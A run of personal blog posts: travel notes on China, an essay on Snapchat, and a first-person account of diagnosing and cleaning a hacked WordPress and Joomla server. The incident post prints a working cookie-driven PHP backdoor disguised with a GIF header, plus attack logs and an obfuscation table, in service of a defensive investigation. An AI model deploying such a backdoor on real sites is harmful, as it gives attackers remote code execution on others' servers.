    So having a certificate is not only more secure but it’s also a sort of a quality stamp for your site.

    Why should I trust Let’s Encrypt?

    You don’t. You can still buy and manage certificates from regular SSL providers. No problem. If you’re sceptical about LE, you can read a little bit about them here or here. But I highly recommend it.

  • China Observations

    Last week I had the chance to visit China, specifically Hong Kong, Shenzhen and Shanghai. These are my observations of China, completely biased and uninformed, for personal future reference.

    I thought about this tweet a lot last week. Even though I was there for the first time and only briefly, I still can relate to what Kevin Kelly means.

    To understand this, you must consider the notion of a country first. By most definitions China might not even be a country in a classical sense. Because it is so broad and diverse anything can be true, which explains the quote. But let’s not get into that too much. My visit was to the technical heart of China in the South (Shenzhen) and in the North-East (Shanghai), so my views are based on a well developed part of China.

    Shenzhen at night or Arkham city?
    Shenzhen at night or Arkham city?

    Observations

    • Everything is done by smartphone. Paying, banking, hailing taxis, checking into airplanes. If you leave your phone at home in the Netherlands, it will be a nuisance, but if you leave your phone at home in China, your life stops.
    • The main app that everyone uses for everyting is WeChat. It’s Paypal, Twitter, Facebook and WhatsApp rolled into one app.
    • Google (and therefore Youtube, Gmail, Photos), Instagram, Facebook, Snapchat, Twitter are blocked. Yes, there are ways around it, but I didn’t use those. The internet is a strange place without access to those services. Kind of refreshing.
    • People in China don’t really seem to care, because they have WeChat.
    • Also they have Baidu for search and, oddly enough, Microsoft Bing. But using these services for a week restates the quality of Google Search. Really.

    The old and the new next to each other (the new doesn't even fit).
    The old and the new next to each other (the new doesn’t even fit in the frame).

    • People from Shenzhen do not understand people from Shanghai and vice versa. They have Mandarin for that. So they actually speak completely different languages, which have to be called dialects because calling it languages undermines the unity.
    • The writing; words, sentences have far more in common, so someone from Shanghai can read everything (newspapers, signs) from Shenzhen, but the pronunciation is what makes it different.
    • I was told that because of this most Chinese come a long way in Korea and Japan. They can pick up a newspaper there and read and understand almost everything. Because of the similarities in the script/symbols. But speaking is a completely different thing.
    • So it seems (written) Asian languages start from meaning and then pronunciation. Whereas our/European written languages have it the other way around. First pronunciation and sound, and then meaning.
    • With this in mind, something I wondered for the longest, was explained to me. To type on computers and smartphones Chinese people use pinyin. They write out the words phonetically using our familiar 26 character alphabet and it gets translated to Chinese characters! Go figure! This is a form of romanisation. I was not familiar with this, and it largely made sense. But I kept thinking why not just use the pinyin word!? But it makes more sense if you understand that in communication they try to convey meaning and not sounds. Get it?
    • If you pay attention you pick up quite a few Chinese symbols in a short time, I think I know around 10 now. Problem is there are literally thousands of them. However, with ~1000 you should be able to read 90% of a newspaper.
    • Most Chinese I interacted with had English names. These are self chosen names because their real Chinese names are too hard for the rest of the world. We also hang out with a young Chinese who had a son some weeks earlier and they were still in the process of figuring out his English name. This is kind of a big deal.
    • Sometimes it doesn’t feel real. Last year the stock market completely crashed, but you can’t really tell, everything is bigger, more, higher, huger. Three of the top 10 largest buildings in the world are in Shanghai. Right next to each other.

    Like this.
    Like this.

    • Everything (that matters) in Shenzhen and Shanghai is basically build in the last 25 years. These cities exploded to 14 million and 25 million people in matter of two decades.
    • Traffic is pretty crazy and chaotic. We encountered multiple accidents. However not big ones, because this is simply not possible if your maximum speed is very slow because of jam packed lanes.
    • It’s clear that China is outpacing the rest of the world. Partly because of one simple asset: manpower. Traffic lights don’t work? No problem, let’s get some traffic cops. Want to dig a canal or build a wall or a skyscraper? Let’s get some people on it. There aren’t that many problems you can’t fix by throwing people at it. And China has plenty.
    • But I expect this to be a problem in the future. For generations the one-child policy (actually more-children-are-fine-as-long-as-you-pay-a-fine-so-only-the-rich-can-do-this policy) has eroded the natural balance. And as people get older it is not uncommon for a young couple to have to take care of four parents (because of Chinese culture and welfare system) in the future. This could be a very big problem in the making. The one-child policy has (therefore?) been loosened the last few years.
    • Also it seems you are either super-rich (like Maybach, Ferrari or Bentley rich) or you are part of the middle class. Very little in between and very little at the bottom. But this was of course just based on two developed cities I visited.
    • Also the national currency seems to be government protected as it is not freely unlimited exchangeable for Chinese people. This literally keeps the currency in the country. But also, doesn’t seem sustainable in the long run.

    These are just some observations. Apart from that, the Chinese people I encountered were all tremendously nice and polite and inviting. And the cities seem clean and well taken care of (but most of it is all pretty new).

    Things are changing rapidly in the world and China clearly has the upper hand, but time will tell if they keep it or if we, the West, can catch up.

  • Snapchat

    Snapchat is everywhere these days. And with everywhere, I mean a lot of people are talking about it like it’s some sort of elusive enigma only the young kids are able to tune in to. The digital equivalent of high pitched notes.

    What makes it so hard to grasp, what’s different about it and what’s important about it. Let’s dissect, shall we.

    Different

    Snapchat is unlike any other application that you’re familiar with. Even though most applications you use wouldn’t make sense to someone 15 years ago, your mind has already been trained to expect certain comparable things from modern social web applications. Call it a context. And when using Snapchat this context is missing. Because it is simply not there:

    • There are no number of likes
    • There are no number of views/loops/retweets
    • There are no number following/friends/followers
    • There is no record of older posts (snaps)

    So everything you have created or accumulated is not important. Snapchat does keep certain scores. But that’s not the main focus. The main theme with Snapchat is that, everything will disappear. What is important, and the only thing that matters, is capturing, sharing and being in the moment. No other app as such a strong emphasis on the now.

    The other thing that makes Snapchat different is: content creation. The app is very serious about this. The very first thing you will see when opening the app is the camera for making a snap. You can swipe right to see personal snaps from friends or left for stories. But you cannot make either of these your default start screen. Snapchat wants you, invites you, forces you, begs you, facilitates you to create and participate. No other app does this so explicitly.

    Background

    My first Snapchat experience was a couple of teenage relatives who would take my picture, draw something inappropriate on it, send it to each other and have the best time. Curious!

    Around that same time, in 2013, I watched the founders of Snapchat explain their app on the Colbert Report and I was intrigued. And not because, let’s be honest here, this was a sexting app (or at least a very naughty app). Disappearing photos?  You know what’s up. So I could see why this would be popular for dubious reasons. But, my intrigue was triggered because of a technical aspect. These guys didn’t have to store anything! Until then having a popular social web app meant having big storage. And unlike Facebook, flickr, Instagram, YouTube, Vine, Tumblr that have to store costly petabytes of photos and videos, these guys seemingly found a way around this. Respectable!

    But at that point, aside from using it for sending explicit pics, I just couldn’t get why you would want to take a decent picture send it to a friend and have it disappear. Maybe this was something only young kids understand, but why?

    Youth

    A lot is being said about the app’s specific appeal to teenagers/young people that have no interest in Facebook or Twitter. Because they identify these platforms as something for old people (i.e. uncool) and Snapchat is not. So they seem to get it, where everyone else has a hard time understanding it. But I think there are 4 reasons why Snapchat would appeal to this specific group in the first place.

    Because I am not a teenager and because I grew up in a time before the internet my mind works differently than that of a teenager. For me a photo has value, whether it is digital or not. Because I can remember the first digital cameras, and I remember before that, that taking pictures with the family was a thing you dressed up for. So to me, photos mean something, and you cherish photos. But, say you are born in 2000-something. Knowing that the iPhone came out in 2007, that means you have never really lived in a world without an abundance of digital photos. Photos are easy and everywhere, so to you they are not important keepsakes. Reason 1.

    Because Snapchat doesn’t keep track, so you can’t really tell how popular you or anybody else is. It’s low pressure. There are no numbers to keep up with. The popularity contest that dominates every other aspect of teenage life is eliminated. Anyone can join. Reason 2.

    Snapchat is about NOW. The moment. Who cares what you did last week? Where are you now, what are you doing, who are you hanging out with, whose party are you at, what friends are you having over. That is the only thing that matters. And for a demographic who are mainly preoccupied discovering their own identity based on what other people/friends are doing now this is key. Reason 3.

    Snapchat’s interface is often the main thing people don’t understand. It causes confusion. But as stated earlier, this is because people have come to expect a certain context that is just not there. But as cryptic the interface might seem, after you grasp it, Snapchat has one of the best interfaces around for creating content. This can not be emphasized enough. No computers, no difficult editing program. Right there in the app: edit, add, caption, draw, create, make it your own creation. Super easy fun and fast. Reason 4.

    And on top of these 4 reasons, the sneakiness that goes with disappearing photos probably also contributed to the success in the beginning. However, Snapchat is not the app it used to be and people of all ages are coming to Snapchat now.

    Pivoting

    Snapchat started out as an one-on-one/one-to-many photo messaging app for disappearing photos that felt personal. This was the first two years or so. But the most brilliant move they made is that they were able to see the possibility and pivot to a new use of snaps with stories. And the app completely changed with this.

    Stories are publicly available snaps (videos or photos) concatenated together for a maximum of 24 hours. Creators can keep adding snaps to their story and the interface facilitates very nicely that you can pick up where they left of. It is near-real-time video for everyone, not just one-on-one.

    And stories are mainly where everything is happening now. YouTube, Vine and Instagram stars are flocking to Snapchat for this reason. Content creation is easy and fun, no editing, no uploading, just snapping. And viewing, keeping track of someone’s story is also easy (and a lot of stories are videos). Following these stories have a unique, personal and real feel to it. I follow a bunch of VC and tech guys that give advice on companies, startups, failing, building teams all that stuff and it’s like they’re talking directly to you unedited, unscripted. And you can directly interact with them (snap them). So it’s much more engaging and a rather different experience from YouTube or even a podcast (which comes close, but isn’t visual or near real time). You are in the moment with them.

    It could have hardly been a planned move from the get go for Snapchat to implement stories so I give them credit for being able to pivot like this from one-on-one disappearing photos to a near-real-time streaming video platform.

    What’s next

    I see a lot of Instagram, YouTube and Vine stars moving to Snapchat. And because of that, Snapchat is snowballing hard into the mainstream. And because more and more people are seeing the fun or benefit in sharing realtime photos/videos and being in the moment. In that sense Snapchat is inching closer to the human experience, real-time unedited conversations. You know, like when you talk to people.

    Also something I figured out recently: Snapchat is basically closer to early radio and television than it is to Facebook or YouTube. Tune in, listen and/or watch. And if you don’t, it’s gone. It has a much more ethereal feel to it. So from that viewpoint it seems we’re coming full circle.

    Snapchat itself is of course doing well. Money and seemingly crazy or even crazier valuations are being thrown at them like you’d expect for a popular app. And they’re spending like you would expect also. And even though they seem to have a business model with the Discover tab (basically paid stories by brands) it is not generating that much at the moment. But they probably don’t mind too much and are 100% focused on growing their user base. As long as you can keep that up, VC money will flow.

    But what is important here is that real-time video is one of the most fascinating developments on the internet right now (next to AI and VR). Periscope, Meerkat, Kamcord, Twitch and YouTube are also gearing up and trying to take some of the pie here. And it wouldn’t surprise me if Facebook starts introducing the option to have posts available for only a certain amount of time or concatenate (video) posts. So interesting developments, to say the least! And I will keep following these developments because after all, this is not about Snapchat, this is about the human race bending technology to fit human needs.

  • How this site got hacked

    (This is a crosspost from my other blog, that actually got hacked. This is for you, a Google search user, struggling with a hacked website).

    Last week I noticed some strange behaviour on my site. When clicking a link on the front page I would be redirected to the same front page, effectively rendering my site useless.

    What was going on?

    I quickly noticed my .htaccess was causing the problem. It was redirecting wrong. Strange. But just a little mix-up I thought. A quick change to the .htaccess file will fix that. However, after the fix it would work exactly one time!

    Uh?!

    Something was rewriting my .htacces file on the fly (specifically, with the first click). But what and why. To figure this out I changed the permissions on my .htaccess file.

    chown root.root .htaccess

    This would prevent whatever was rewriting my file to rewrite it. Unless it was also running as root, which would be a bigger problem. But at this point I had no reason to assume another user than the webuser was causing this. So let’s check the error.log, shall we?

    [Thu Nov 05 14:49:33 2015] [error] [client] PHP Warning: chmod(): Operation not permitted in /var/www/piks.nl/wordpress/wp-includes/nav-menu.php on line 538
[Thu Nov 05 14:49:33 2015] [error] [client] PHP Warning: file_put_contents(/var/www/piks.nl/wordpress/wp-includes/../.htaccess): failed to open stream: Permission denied in /var/www/piks.nl/wordpress/wp-includes/nav-menu.php on line 539
[Thu Nov 05 14:49:33 2015] [error] [client] PHP Warning: chmod(): Operation not permitted in /var/www/piks.nl/wordpress/wp-includes/nav-menu.php on line 540
[Thu Nov 05 14:49:33 2015] [error] [client] PHP Warning: touch(): Utime failed: Operation not permitted in /var/www/piks.nl/wordpress/wp-includes/nav-menu.php on line 544

    Aha, well this is obvious, nav-menu.php is trying to rewrite my .htaccess file. But nav-menu.php is a regular WordPress file, so what’s up? Let’s check the content of the file. It seemed extra PHP code was added to the top of the file that rewrote the .htaccess file AND also tried contacting an external server. Something that could be observed with a tcpdump.

    tcpdump -i eth0 -n port 80
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
15:13:07.917228 IP myclientip.59912 > 149.210.186.110.80: Flags [.], ack 1, win 16425, length 0
15:13:07.917479 IP myclientip.59912 > 149.210.186.110.80: Flags [P.], seq 1:634, ack 1, win 16425, length 633
15:13:07.917507 IP 149.210.186.110.80 > myclientip.59912: Flags [.], ack 634, win 992, length 0
15:13:07.918554 IP 149.210.186.110.80 > myclientip.59912: Flags [P.], seq 1:335, ack 634, win 992, length 334
15:13:07.927313 IP myclientip.59912 > 149.210.186.110.80: Flags [P.], seq 634:1880, ack 335, win 16341, length 1246
15:13:07.964289 IP 149.210.186.110.80 > myclientip.59912: Flags [.], ack 1880, win 1148, length 0
15:13:08.073720 IP 149.210.186.110.50809 > 195.28.182.78.80: Flags [S], seq 1257405992, win 14600, options [mss 1460,sackOK,TS val 431078511 ecr 0,nop,wscale 4], length 0

    Well excuse me! But that last line is wrong: 149.210.186.110.50809 > 195.28.182.78.80. My webserver is contacting a different webserver (like it’s a client instead of a server). Not what I want! I don’t know why or what for it does that but this is not normal.

    So OK, I know what is causing the .htaccess rewrite but HOW did the nav-menu.php file get changed?! This is where my headache sort of started. WordPress was up to date, all plugins were OK, I couldn’t figure it out. How did this happen? A couple of months ago I changed things around a bit, installed several themes and plugins and deleted just as many. My guess was that I used a faulty plugin (that I maybe already deleted). But which one? The logs didn’t give any explanation.

    Sucuri and Wordfence

    While trying to debug this I came across two excellent tools. When you run a WordPress site you should install Sucuri Security and Wordfence. They will help you.

    Sucuri can scan your site and check the regular WordPress files against your files to tell which are different (nav-menu.php popped up of course).

    Sucuri does a lot more, but this was helpful. Wordfence was also helpful, it can provide the same thing but it can also email you when files change or when user try to hack/login to your admin account. Very handy. (And this tool can also do a whole lot more).

    But, both tools didn’t provide an answer.

    After googling a bit, I ran into this site. This script recursively checks ALL your files and will order them with the newest on top. Very, VERY handy. Because I noticed that when you ls a directory you will get different timestamp than the actual last modified time. It’s a little trick to mess with you. This way a hacker will hide modified scripts from you, because naturally you would look for recently changed files. And this script will cut right through that! (Using stat on Linux will also show you the right dates.)

    So yes, nav-menu.php showed up. But nothing else. So no answers. Then it began to dawn on me. I host a few other sites running on the same server. What if one of those sites was hacked and infected my WordPress site. Of course! That had to be it. Even more so because one of those sites is a Joomla 1.5 installation (with reason). So let’s install the file_list_4_sort_by_date.php script on those sites.

    Pop pop pop. This didn’t look good. The Joomla site was indeed hacked and there were a whole lot of randomly placed of files on the site. Oh no. However, this all seemed to have happened in the last 48 hours. And it was done in such a way that the actual site was operating perfectly (as opposed to my WordPress site). But it was an ugly mess. Several different backdoors, which got hit by hundreds of different (of course spoofed) IP addresses, to upload even more backdoors and phishing pages. Time to clean up! (And find out what/how caused this!).

    Eval = evil (as is base64_encode)

    So I’m stuck with a whole bunch of new scripts but worse there are also script lines added to my own/existing files. So those are a whole lot trickier to clean. I need to make sure my all PHP files can’t be edited anymore (I should have done this sooner):

    find . -type f -name "*.php" | xargs chmod 444

    So that takes care of that. Some files are easy to figure out if they need to be there, others not so much. This is why Wordfence/Sucuri is so awesome. But I couldn’t really find such a plugin for Joomla. So I had to manually diff it. Luckily I make rsync backups of my server, so I could diff the entire content of the backup to the current site

    diff -r mybackupdirectory thecurrentsitedirectory

    This showed me the differences and I could just delete the added files. For the files that were changed here is what sticks out. They’re usually using the PHP ‘eval‘ function (if you find a PHP script that uses the eval function, beware!). And more so; they use the ‘base64_encode‘ function. What this does it makes the script unreadable to humans (normally this function is used to transport binary data e.g. photos as text). This is to make sure that when you get your hands on these scripts/backdoors, you can’t really tell what they do. And yes you can decode it, but what if the decoded text is also base64 encoded and that is also encoded etc. etc. And on top of that they encrypted the file with this:

    $calntd = Array('1'=>'N', '0'=>'m', '3'=>'I', '2'=>'x', '5'=>'e', '4'=>'J', '7'=>'a', '6'=>'L', '9'=>'6', '8'=>'c', 'A'=>'p', 'C'=>'u', 'B'=>'W', 'E'=>'3', 'D'=>'T', 'G'=>'t', 'F'=>'K', 'I'=>'4', 'H'=>'M', 'K'=>'E', 'J'=>'X', 'M'=>'R', 'L'=>'k', 'O'=>'1', 'N'=>'V', 'Q'=>'Y', 'P'=>'Q', 'S'=>'G', 'R'=>'P', 'U'=>'U', 'T'=>'B', 'W'=>'w', 'V'=>'0', 'Y'=>'S', 'X'=>'v', 'Z'=>'y', 'a'=>'g', 'c'=>'O', 'b'=>'f', 'e'=>'F', 'd'=>'l', 'g'=>'C', 'f'=>'2', 'i'=>'j', 'h'=>'7', 'k'=>'8', 'j'=>'i', 'm'=>'h', 'l'=>'5', 'o'=>'q', 'n'=>'z', 'q'=>'d', 'p'=>'o', 's'=>'D', 'r'=>'r', 'u'=>'H', 't'=>'b', 'w'=>'A', 'v'=>'9', 'y'=>'n', 'x'=>'Z', 'z'=>'s');
    So yes in theory you could decode it and decrypt it. But at this point who cares? You can run these commands to get a list of what PHP files on your system use these functions (some are legit, although very few):
    find . -type f -name "*.php" | xargs grep eval\(
find . -type f -name "*.php" | xargs grep base64_encode
    So yeah, this helped finding infected files and cleaning up the mess. But where did this start? If you can upload one file you can upload the rest and take control. But where and how did this happen. It is pretty hard to debug the logs because a hacker will use different spoofed IP addresses. So there can be 2000 log lines all from  different addresses. But the key is to look for POST log lines. Most webserver commands are GET command, but when something is trying to upload/change something this will be done with a POST command.
    grep POST /var/log/apache2/access_log

    As said there were a bunch of different IPs and POST lines. So this made it tricky.

    But one of the earliest log lines before the mess started was this:

    78.138.106.243 - - [04/Nov/2015:12:22:39 +0100] "GET / HTTP/1.1" 200 84301 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
78.138.106.243 - - [04/Nov/2015:12:23:22 +0100] "GET / HTTP/1.1" 301 559 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
78.138.106.243 - - [04/Nov/2015:12:49:58 +0100] "GET /.config.php HTTP/1.1" 200 4769 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
78.138.106.243 - - [04/Nov/2015:12:51:38 +0100] "GET /.config.php HTTP/1.1" 301 581 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
78.138.106.243 - - [04/Nov/2015:12:51:39 +0100] "GET /.config.php HTTP/1.1" 200 4769 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
78.138.106.243 - - [04/Nov/2015:13:01:08 +0100] "GET /.cpanel_config.php HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
78.138.106.243 - - [04/Nov/2015:13:01:46 +0100] "GET /.cpanel_config.php HTTP/1.1" 301 595 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
78.138.106.243 - - [04/Nov/2015:13:01:46 +0100] "GET /.cpanel_config.php HTTP/1.1" 404 489 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
78.138.106.243 - - [04/Nov/2015:13:07:12 +0100] "GET /images/.jindex.php HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
78.138.106.243 - - [04/Nov/2015:13:07:56 +0100] "GET /images/.jindex.php HTTP/1.1" 301 595 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
78.138.106.243 - - [04/Nov/2015:13:07:56 +0100] "GET /images/.jindex.php HTTP/1.1" 404 489 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
78.138.106.243 - - [04/Nov/2015:13:42:37 +0100] "GET /.config.php HTTP/1.1" 200 202 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
78.138.106.243 - - [04/Nov/2015:13:43:53 +0100] "GET /.config.php HTTP/1.1" 301 581 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
78.138.106.243 - - [04/Nov/2015:13:43:53 +0100] "GET /.config.php HTTP/1.1" 200 202 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
78.138.106.243 - - [04/Nov/2015:13:55:09 +0100] "GET /components/com_content/models.php HTTP/1.1" 200 507 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
78.138.106.243 - - [04/Nov/2015:13:55:28 +0100] "GET /components/com_content/models.php HTTP/1.1" 301 625 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
78.138.106.243 - - [04/Nov/2015:13:55:28 +0100] "GET /components/com_content/models.php HTTP/1.1" 200 507 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
78.138.106.243 - - [04/Nov/2015:14:01:42 +0100] "POST /components/com_content/models.php HTTP/1.1" 200 385 "-" "Mozilla/5.0 (X11; U; Windows XP; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.427.0 Safari/534.1"
78.138.106.243 - - [04/Nov/2015:14:01:42 +0100] "POST /components/com_content/models.php HTTP/1.1" 200 410 "-" "Mozilla/5.0 (X11; U; Windows XP; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.427.0 Safari/534.1"
78.138.106.243 - - [04/Nov/2015:14:02:15 +0100] "POST /components/com_content/models.php HTTP/1.1" 301 625 "-" "Mozilla/5.0 (X11; U; Windows XP; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.427.0 Safari/534.1"
    Well excuse me! How can this be? A couple of wrong/non-existing/404 GET commands followed by two successful/200 GET commands to a file called .config.php and then BOOM a successful POST to a never before seen file, called models.php, which is a backdoor. How, what, wait, why, uh?

    What is this .config.php file?

    This file didn’t pop up from the earlier diff. So my guess was this was a regular Joomla file that was always there. Let’s have a closer inspection.

    GIF89a
<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  system.instantsuggest
 *
 * @copyright   Copyright (C) 2013 InstantSuggest.com. All rights reserved.
 * @license     GNU General Public License version 2 or later
 */
/**
 * Instant Suggest Ajax
 *
 * @package     Joomla.Plugin
 * @subpackage  system.instantsuggest
 * @since       3.1
 */
class PlgSystemInstantSuggest
{
        public function __construct() {
                $filter = @$_COOKIE['p3'];
                if ($filter) {
                        $option = $filter(@$_COOKIE['p2']);
                        $auth = $filter(@$_COOKIE['p1']);
                        $option("/123/e",$auth,123);
                        die();
                }
        }
}
$suggest = new PlgSystemInstantSuggest;

    This doesn’t look good. For several reasons:

    1. It’s  a strange name: .config.php
    2. The first line says GIF89a. But this is definitely not a GIF file. Usually adding such a ‘header’ is to fool anti-viral programs.
    3. This function PlgSystemInstantSuggest isn’t used anywhere on the site. How do I know this? Because this came up empty
    find -type f -name "*.php"| xargs grep PlgSystemInstantSuggest

    Google explained it.

    So this file doesn’t belong here and was apparently the start of all this trouble. But still the question remained. How did it get here! Let’s check the creation date:

    # stat .config.php
File: `.config.php'
Size: 661 Blocks: 8 IO Block: 4096 regular file
Device: fe01h/65025d Inode: 2623182 Links: 1
Access: (0444/-r--r--r--) Uid: ( 33/www-data) Gid: ( 33/www-data)
Access: 2015-11-09 09:48:30.620041031 +0100
Modify: 2015-01-21 18:55:29.062864009 +0100
Change: 2015-11-07 19:16:00.832040969 +0100

    January 21 you say? Let’s check the logfiles (yes, I keep those around).

    88.198.59.38 - - [21/Jan/2015:18:55:28 +0100] "GET /administrator/components//com_extplorer/ HTTP/1.1" 200 5210 "-" "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0"
88.198.59.38 - - [21/Jan/2015:18:55:28 +0100] "POST /administrator/components//com_extplorer/ HTTP/1.1" 301 534 "http://www.staatsbladen.nl/administrator/components//com_extplorer/" "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0"
88.198.59.38 - - [21/Jan/2015:18:55:29 +0100] "POST /administrator/components//com_extplorer/ HTTP/1.1" 200 447 "http://www.staatsbladen.nl/administrator/components//com_extplorer/" "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0"

    And a snippet from the error.log:

    [Wed Jan 21 18:55:28 2015] [error] [client 88.198.59.38] PHP Strict Standards:  Non-static method ext_File::closedir() should not be called statically in /var/www/wp.nl/administrator/components/com_extplorer/include/functions.php on line 1169
[Wed Jan 21 18:55:28 2015] [error] [client 88.198.59.38] PHP Strict Standards:  Non-static method ext_Lang::msg() should not be called statically in /var/www/wp.nl/administrator/components/com_extplorer/include/login.php on line 82
[Wed Jan 21 18:55:28 2015] [error] [client 88.198.59.38] PHP Strict Standards:  Non-static method ext_Lang::_get() should not be called statically in /var/www/wp.nl/administrator/components/com_extplorer/application.php on line 63
[Wed Jan 21 18:55:28 2015] [error] [client 88.198.59.38] PHP Strict Standards:  Non-static method ext_Lang::msg() should not be called statically in /var/www/wp.nl/administrator/components/com_extplorer/include/login.php on line 109
    And THERE.WE.GO.

    The com_extplorer plugin was abused to upload ONE file in January of this year. This sat around for almost ten months doing nothing! Until the hacker (or someone else) came across it and abused it.

    Needless to say com_extplorer is as old and as vulnerable as they come. I don’t even know why I had it. Trust me, it is gone (and Joomla is of course updated)!

    So there you have it. Quite a ride. My webserver/sites were hacked because of a dormant file uploaded ten months ago through a buggy Joomla file explorer plugin for a site that I host. I don’t think it is necessarily the same hacker that uploaded the file that started messing with my sites last week. It also looks a bit like bots/generators that continuously scan sites and execute standard commands. It can be one guy or more. Based on the spoofed IP’s you can’t really tell.
    Strangest part about this is that I only found out because my WordPress site that was acting strange. The Joomla site was fine. If this hadn’t happened I wouldn’t have found out (or much later). Also the thing the WordPress site was doing was quite useless (it was redirecting to my own site). I think someone/something (a script) messed up. And the Joomla site was serving a whole bunch a spam pages so it was in the interest of whoever uploaded those that the server would keep running and that the backdoors would be unnoticed. And that might have happened if I didn’t start investigating the WordPress site. This whole story shows that your entire webserver is as secure as the weakest part.